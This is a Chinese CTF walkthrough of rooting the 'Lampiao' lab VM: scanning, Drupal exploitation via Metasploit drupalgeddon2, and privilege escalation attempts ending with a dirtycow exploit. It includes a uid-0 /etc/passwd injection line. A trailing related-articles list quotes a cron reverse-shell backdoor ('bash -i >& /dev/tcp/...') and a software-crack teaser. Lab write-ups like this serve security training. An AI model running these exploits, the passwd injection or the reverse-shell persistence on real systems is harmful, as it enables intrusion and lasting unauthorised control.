实战打靶集锦-016-lampiao

news2024/11/14 11:35:01

提示:本文记录了博主打靶过程中一次曲折的提权经历

文章

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 80端口探查
    • 4.2 1898端口探查
    • 4.3 EXP搜索
      • 4.3.1 exploit/unix/webapp/drupal_coder_exec
      • 4.3.2 exploit/unix/webapp/drupal_drupalgeddon2
  • 5. 提权
    • 5.1 系统信息枚举
    • 5.2 探查/etc/passwd
    • 5.3 枚举定时任务
    • 5.4 枚举可执行程序
      • 5.4.1 ping6
      • 5.4.2 chfn
    • 5.4.3 pkexec
      • 5.4.4 mtr
      • 5.4.5 pppd
    • 5.5 EXP提权
    • 5.5.1 CVE-2017-16995
    • 5.5.2 CVE-2017-1000112
    • 5.5.3 CVE-2016-8655
      • 5.5.4 CVE-2016-5195 dirtycow
      • 5.5.5 CVE-2016-5195 dirtycow2
  • 6. 获取flag


1. 主机发现

目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定靶机地址为192.168.65.148。

2. 端口扫描

通过下面的命令对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.148

在这里插入图片描述

3. 服务枚举

通过下面的命令枚举一下目标靶机的开放端口上运行着什么服务。

$ sudo nmap -p22,80,1898 -A -sV -sT 192.168.65.148

在这里插入图片描述
额,80端口上的服务没有没举出来,估计得等会儿手工探查了。

4. 服务探查

4.1 80端口探查

直接用浏览器访问一下看看。
在这里插入图片描述
额,靶机挺会玩儿的,目录枚举一下看看。

$ dirsearch -u http://192.168.65.148

在这里插入图片描述
结果有点令人失望,啥都没扫出来。

4.2 1898端口探查

既然1898端口上也是http的服务,通过浏览器访问一下看看。
在这里插入图片描述
页面中有登录入口、创建账号和密码的入口,看来这里面可能有我们需要的内容,先看一下有没有站点地图。
在这里插入图片描述
内容还挺多的,再进行一下目录枚举。

$ dirsearch -u http://192.168.65.148:1898

在这里插入图片描述
都枚举出来了,我们逐个看看。
从“/MAINTAINERS.txt”页面,我们可以知道这里用的是一个名叫Drupal 7的框架。
在这里插入图片描述
上网搜索一下看看,这个drupal是个啥。
在这里插入图片描述
上图是百度百科的内容,貌似是一个开源的优秀的内容管理框架,继续往下看。从“INSTALL.txt”页面可以看到,Drupal框架会用到Apache 2.0或者以上、PHP 5.2.4或者以上,以及数据库(Mysql 5.0.15及以上、MariaDB 5.1.44及以上,Percona 5.1.70及以上、pgSQL 8.3及以上,SQLite 3.3.7及以上),如下图。
在这里插入图片描述
继续探查,从“CHANGELOG.txt”页面,可以推断当前的Drupal版本应该是7.54。
在这里插入图片描述
继续往下看,scripts目录下,有好多的shell脚本,说不定后面我们可以用得到,尤其是一个对密码进行hash的脚本。
在这里插入图片描述
目前就搜罗到了这么多信息,接下来我们尝试一下登录入口和创建账号密码的入口。
随便输入用户名密码进行登录,看看报什么错。
在这里插入图片描述
用户枚举猜测是不太好办,看看下面的创建账号。
在这里插入图片描述
点击上图中的Create new account按钮之后,会弹出下图所示的提示。
在这里插入图片描述
不管了,发送邮件不成功是正常的,看看下面的request new password能不能有用。
在这里插入图片描述
嗯,这个也是不管用的。

4.3 EXP搜索

搜索一下看看有没有关于Drupal的公共EXP。
在这里插入图片描述
内容还真是不少,并且还有很多都是关于Metasploit的,鉴于Metasploit的神奇之处,我们先用Metasploit搜索一下看看。

msf6 > search drupal

在这里插入图片描述
也不是很多,逐个试试吧。

4.3.1 exploit/unix/webapp/drupal_coder_exec

msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.65.148
msf6 exploit(unix/webapp/drupal_coder_exec) > set RPORT 1898
msf6 exploit(unix/webapp/drupal_coder_exec) > run

在这里插入图片描述
运行失败了。

4.3.2 exploit/unix/webapp/drupal_drupalgeddon2

msf6> use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.65.148
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

在这里插入图片描述
感觉这个是靠谱的,进一步验证一下。
在这里插入图片描述
嗯,我们已经成功突破边界。

5. 提权

先优化一下shell(形成习惯了,不管行不行,先执行一下优化再说)。

$ whereis python
$ /usr/bin/python3.4 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

5.1 系统信息枚举

$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT

在这里插入图片描述
目标靶机是32位的Ubuntu 14.04.5,kernel版本是4.4.0-32-generic。

5.2 探查/etc/passwd

$ cat /etc/passwd | grep -v "nologin"

在这里插入图片描述
除了root之外,真正具备shell权限的还有个tiago用户。尝试一下弱密码提权。
在这里插入图片描述
尝试往/etc/passwd中写入用户看看。

$ echo "testuser:$1$IbaVSVwa$v6h3hVYDvjI.y0q2Kq0fg.:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没权限。

5.3 枚举定时任务

$ cat /etc/crontab

在这里插入图片描述

5.4 枚举可执行程序

先枚举一下root用户下面其它用户客户可写的文件。

$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"

在这里插入图片描述
就搜出来了一个隐藏文件.lock,看看这是个啥文件。
在这里插入图片描述
竟然是空的,没有理想的结果,再看看具备SUID的可执行文件(下面命令三选一)。

$ find / -user root -perm -4000 -print 2>/dev/null
$ find / -perm -u=s -type f 2>/dev/null
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

在这里插入图片描述
上图中的几个程序都值得怀疑,试试看吧。

5.4.1 ping6

从搜索结果来看,ping6不太可能提权。
在这里插入图片描述

5.4.2 chfn

在这里插入图片描述
这个倒是有一定的可能性,我们看一下代码。
在这里插入图片描述
貌似只在SuSE上可行,不管了,既然都到这里了,上传到目标靶机上执行一下看看。
在这里插入图片描述
嗯,这个靶机做了特殊限制,没法直接通过wget下载,我们通过nc传输一下。
靶机上启动6666端口监听,将收到的内容放到1299.sh文件。

www-data@lampiao:/tmp$ nc -nlvp 6666 > 1299.sh

kali上通过kali往靶机的6666端口发送1299.sh文件

$ nc -nv 192.168.65.148 6666 < 1299.sh

然后在靶机上修改一下执行权限,并运行一下。
在这里插入图片描述
理论上,这个脚本应该是可以提权的,可惜的是在这里没法使用,因为需要当前用户的密码,等我们拿到当前用户密码的时候,再回来试试看。

5.4.3 pkexec

这个pkexec是我们的老朋友了,先看一下靶机上的polkit版本。

www-data@lampiao:/tmp$ dpkg -l policykit-1

在这里插入图片描述
在通过searchsploit搜索一下看看。
在这里插入图片描述

后面两个EXP是有可能的,一个得通过Metasploit,另一个是一个静态条件的提权,我们先进入msfconsle搜索一下看看。
在这里插入图片描述
就这三个,都试一下吧。

msf6 > use exploit/linux/local/pkexec
msf6 exploit(linux/local/pkexec) > set LPORT 8888
msf6 exploit(linux/local/pkexec) > run

在这里插入图片描述
是要配置SESSION的,但是Metasploit里面也没有说清楚应该怎么配置,其它两个也都需要配置SESSION,暂时放弃。通过下面的命令将我们前面searchsploit结果中的47543.rb放到指定的metasploit目录下。

$ sudo cp 47543.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp

重新进入一下msfconsole。

msf6 > use exploit/unix/webapp47543
msf6 exploit(unix/webapp/47543) > show options

在这里插入图片描述
同样需要设置SESSION啊,放弃。

5.4.4 mtr

在这里插入图片描述
没有我们感兴趣的。

5.4.5 pppd

在这里插入图片描述
这个也不合适。

5.5 EXP提权

搜索一下Ubuntu和Kernel的对应EXP。
在这里插入图片描述
在这里插入图片描述
还是有不少的,为了保证准确度,我们不急于利用,先用linpeas看一下。
在这里插入图片描述
linpeas也找到了这个CVE-2022-2588的漏洞,前面刚刚用过,这里直接试一下。
在这里插入图片描述嗯,这个是不能直接运行的,直接尝试在本地编译一下。

www-data@lampiao:/tmp/CVE-2022-2588$ gcc -o my_exp exp_file_credential.c

在这里插入图片描述
仍然失败,还是再看看其它的linpeas输出吧。
在这里插入图片描述
有五个高度可行的CVE漏洞,我们逐个试一下。

5.5.1 CVE-2017-16995

直接将45010.c上传到靶机进行编译执行。
在这里插入图片描述
在靶机上无论如何编译这个文件bpf.h都饱含不进去,放弃。

5.5.2 CVE-2017-1000112

直接吧https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c下载下来,上传到靶机进行编译。
在这里插入图片描述
会报大量的错误,放弃。

5.5.3 CVE-2016-8655

直接把40871.c上传到目标靶机,然后编译。

$ gcc -m32 40871.c -o 40871 -lpthread

在这里插入图片描述
产生了非常多的上述的warning,但是编译出可执行文件了,执行一下试试看。
在这里插入图片描述
执行了好久也没有成功,都是些类似上述的输出,暂时放弃。

5.5.4 CVE-2016-5195 dirtycow

在这里插入图片描述
这个感觉还要sudo -s,输入当前用户的密码,有些搞不定,暂时放弃。

5.5.5 CVE-2016-5195 dirtycow2

直接吧40839.c上传到靶机,进行编译。

$ gcc -pthread 40839.c -o 40839 -lcrypt

在这里插入图片描述
破天荒的没报错,直接运行一下看看。
在这里插入图片描述
按照exp代码指示,进行下一步,输入su firefart试试。
在这里插入图片描述
感觉像是挂了啊,再次尝试进去。
在这里插入图片描述
估计是机器挂了,ping一下试试看。
在这里插入图片描述
果真挂了,重启一下靶机,再次提权。
在这里插入图片描述
又挂了,必然挂掉,靶机上的最后输出如下图所示。
在这里插入图片描述
对于这个dirtycow2,还有个编号是40847的EXP,我们也用一下试试看,先通过nc吧40847.cpp上传到目标靶机的/tmp目录下。然后通过gcc进行编译。

www-data@lampiao:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

在这里插入图片描述
编译成功。
说明:这里了说明一下各个参数的含义。
-Wall选项让gcc提供所有有用的告警;
-pedantic选项允许发出标准C列出的所有告警;
-O2选项是编译器优化选项的4个级别中的一个(-O0表示无优化,-O1为缺省值,-O3优化级别最高);
-std=c++11选项表示按照2011版C++的标准执行编译;
-pthread选项表示当用到多线程时调用pthread库。

然后运行一下编译的可执行文件。
在这里插入图片描述
直接搞出了root的密码,太牛逼了,试一下切换到root用户。
在这里插入图片描述
貌似搞定了,验证一下。
在这里插入图片描述

6. 获取flag

在这里插入图片描述
搞定。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420563.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 &#xff08;一&#xff09;reference token(透明令牌) &#xff08;二&#xff09;value token(自包含令牌) 二、JWT令牌 &#xff08;一&#xff09;什么是JWT令牌 &#xff08;二&#xff09;JWT令牌的组成 &#xff08;三&#xff09;JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求&#xff1a;给你一个整数 a如果 a 是一个回文整数&#xff0c;打印true&#xff0c;否则&#xff0c;还回false。解释&#xff1a;回文数是指正序&#xff08;从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像&#xff0c;而是创建一个模型&#xff0c;可以在给定生成图像的情况下预测文本提示&#xff08;你有一堆提示词&#xff0c;你预测是否该提示词参与了图像的生成&#xff09;?您将在…

百度智能云对象存储BOS批量下载文件方法

百度智能云对象存储BOS支持批量打包下载吗&#xff1f;目前对象存储BOS浏览器端不支持批量下载&#xff0c;可以使用对象存储BOS桌面或BOSCMD批量下载&#xff0c;也可以使用API/SDK调用接口循环下载。新手站长网来详细说下百度云对象存储BOS批量下载的方法&#xff1a; 目录 …

计算机网络 实验二

⭐计网实验专栏&#xff0c;欢迎订阅与关注&#xff01; ★观前提示&#xff1a;本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求&#xff0c;因此以下内容建议仅做思路参考。 一、实验目的 &#xff08;1&#xff09;掌握IP地址的基本结构(网络部分与主机部分的…

计算广告(十一)

MF矩阵分解&#xff08;Matrix Factorization&#xff09;是一种常见的数学工具&#xff0c;它将一个大型矩阵分解为两个或多个较小的矩阵&#xff0c;这些较小的矩阵相乘会得到一个近似于原始矩阵的矩阵。矩阵分解在许多领域中都有广泛的应用&#xff0c;如机器学习、数据挖掘…

Win10+Anaconda+Pytorch_CPU+VsCode安装配置

一、安装Anaconda 1&#xff0c;官网下载Anaconda安装包&#xff0c;找到对应版本的python&#xff0c;我下的是Anaconda3-2020.07-Windows-x86_64.exe&#xff0c;python版本为3.8.3&#xff1b; 安装时注意这个界面时 第一个不要勾选&#xff0c;安装成功后&#xff0c;手动…

如何在企业微信中使用低代码工具?

企业微信是一款非常强大的办公应用软件&#xff0c;可以方便地进行企业内部的沟通、协作、管理等工作。虽然企业微信本身并不提供低代码工具&#xff0c;但是可以通过集成第三方的低代码工具来实现在企业微信中的使用。 例如&#xff0c;可以使用低代码平台简道云&#xff0c;…

Python3--垃圾回收机制

一、概述 Python 内部采用 引用计数法&#xff0c;为每个对象维护引用次数&#xff0c;并据此回收不在需要的垃圾对象。由于引用计数法存在重大缺陷&#xff0c;循环引用时由内存泄露风险&#xff0c;因此Python还采用 标记清除法 来回收在循环引用的垃圾对象。此外&#xff0c…

「线性DP-学习案例」传球游戏

传球游戏 题目描述 ​ 上体育课的时候&#xff0c;小蛮的老师经常带着同学们一起做游戏。这次&#xff0c;老师带着同学们一起做传球游戏。 ​ 游戏规则是这样的&#xff1a;n个同学站成一个圆圈&#xff0c;其中的一个同学手里拿着一个球&#xff0c;当老师吹哨子时开始传球…

Systemverilog中Assertions的记录

1. assertion statement Assertion statement有以下几种类型&#xff1a; assert: 指定DUT的property&#xff0c;必须要verifyassume: 给验证环境指定假设的property。simulator检查这些property&#xff0c;但是formal工具会使用这些信息来产生输入激励。cover: 监控proper…

面试题:Ajax、Fetch、Axios三者的区别

Ajax 它的全称是&#xff1a;Asynchronous JavaScript And XML&#xff0c;翻译过来就是“异步的 Javascript 和 XML”。 Ajax 是一个技术统称&#xff0c;是一个概念模型&#xff0c;它囊括了很多技术&#xff0c;并不特指某一技术&#xff0c; Ajax 是一种思想&#xff0c;X…

【Hello Network】网络编程套接字(一)

作者&#xff1a;小萌新 专栏&#xff1a;网络 作者简介&#xff1a;大二学生 希望能和大家一起进步 本篇博客简介&#xff1a;简单介绍网络的基础概念 网络编程套接字&#xff08;一&#xff09;预备知识源ip和目的ip端口号TCP和UDP协议网络中的字节序socket编程接口socket常见…